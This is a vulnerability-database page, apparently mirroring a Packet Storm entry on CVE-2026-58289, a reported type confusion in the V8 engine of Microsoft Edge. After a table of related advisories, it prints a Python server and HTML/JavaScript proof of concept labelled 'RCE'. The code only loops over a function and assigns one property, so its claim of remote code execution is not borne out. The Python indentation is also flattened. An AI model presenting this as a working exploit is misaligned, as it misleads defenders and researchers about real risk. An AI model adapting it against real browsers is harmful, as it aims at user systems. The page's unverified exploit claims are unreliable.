📄 Microsoft Edge 150.0.4078.48 Type Confusion
🗓️ 11 Aug 2026 00:00:00Reported by Mohammed Idrees BanyamerType 
packetstorm🔗 packetstorm.news👁 13 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2026-58289 | 3 Jul 202620:35 | – | attackerkb |
 | CVE-2026-58289 | 3 Jul 202622:14 | – | circl |
 | CVE-2026-58289 | 3 Jul 202620:35 | – | cve |
 | CVE-2026-58289 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability | 3 Jul 202620:35 | – | cvelist |
 | Microsoft Edge 150.0.4078.48 - RCE | 10 Aug 202600:00 | – | exploitdb |
 | EUVD-2026-41586 | 3 Jul 202620:35 | – | euvd |
 | Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability | 3 Jul 202614:00 | – | mscve |
 | CVE-2026-58289 | 3 Jul 202621:17 | – | nvd |
 | PT-2026-55635 | 3 Jul 202600:00 | – | ptsecurity |
 | CVE-2026-58289 Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability | 3 Jul 202620:35 | – | vulnrichment |
# Exploit Title: Microsoft Edge 150.0.4078.48 - RCE
# CVE: CVE-2026-58289
# Date: 2026-07-10
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Author Blog : https://banyamersecurity.com/blog/
# Vendor Homepage: https://microsoft.com
# Software Link: https://www.microsoft.com/en-us/edge
# Affected: Microsoft Edge (Chromium-based) before 150.0.4078.48
# Tested on: Microsoft Edge 150.0.4070.x (Windows 11)
# Category: Remote
# Platform: Windows
# Exploit Type: Remote Code Execution
# CVSS: 9.0 (Critical)
# Description: Access of Resource Using Incompatible Type ('Type Confusion' - CWE-843) in Microsoft Edge (Chromium-based) V8 engine allows an unauthorized attacker to execute arbitrary code over a network by visiting a malicious webpage.
# Fixed in: Microsoft Edge 150.0.4078.48 (Stable Channel)
# Usage:
# python3 exploit.py
#
# Examples:
# python3 exploit.py
#
# Options:
# --port Custom port (default: 8080)
#
# Notes:
# • This is a Proof of Concept only. No public full exploit is available yet.
# • For educational and research purposes.
# • Requires vulnerable version of Microsoft Edge.
#
# How to Use
#
# Step 1:
# Run the Python server: python3 exploit.py
#
# Step 2:
# Open http://localhost:8080 in a vulnerable version of Microsoft Edge.
#
# Step 3:
# Monitor the browser process for crashes or code execution.
def banner():
print(r"""
╔██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗╗
║██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██║
║██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ███████╔╝
║██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗
║██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝
╔═╗ Banyamer Security ╔═╝
""")
import http.server
import socketserver
import sys
banner()
HTML_CONTENT = """<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CVE-2026-58289 PoC</title>
</head>
<body>
<h1>CVE-2026-58289 Type Confusion PoC - For Testing Only</h1>
<script>
function triggerTypeConfusion() {
let obj1 = { a: 1, b: 2 };
for (let i = 0; i < 10000; i++) {
dummyFunc(obj1);
}
let arr = new Array(0x100);
let confused = obj1;
confused.something = 0x41414141;
console.log("[+] Type confusion attempted.");
}
function dummyFunc(o) {
return o.a + o.b;
}
window.onload = function() {
try {
triggerTypeConfusion();
} catch(e) {
console.error("Error:", e);
}
};
</script>
</body>
</html>
"""
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
if self.path in ['/poc.html', '/']:
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
self.wfile.write(HTML_CONTENT.encode())
else:
self.send_response(404)
self.end_headers()
port = 8080
if len(sys.argv) > 1:
try:
port = int(sys.argv[1])
except:
pass
print(f"[+] Starting PoC server on http://localhost:{port}")
print("[+] Open the URL in vulnerable Microsoft Edge")
try:
with socketserver.TCPServer(("", port), Handler) as httpd:
httpd.serve_forever()
except KeyboardInterrupt:
print("\n[-] Server stopped.")
except Exception as e:
print(f"[-] Error: {e}")Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
11 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.18.3 - 9
EPSS0.01766
SSVC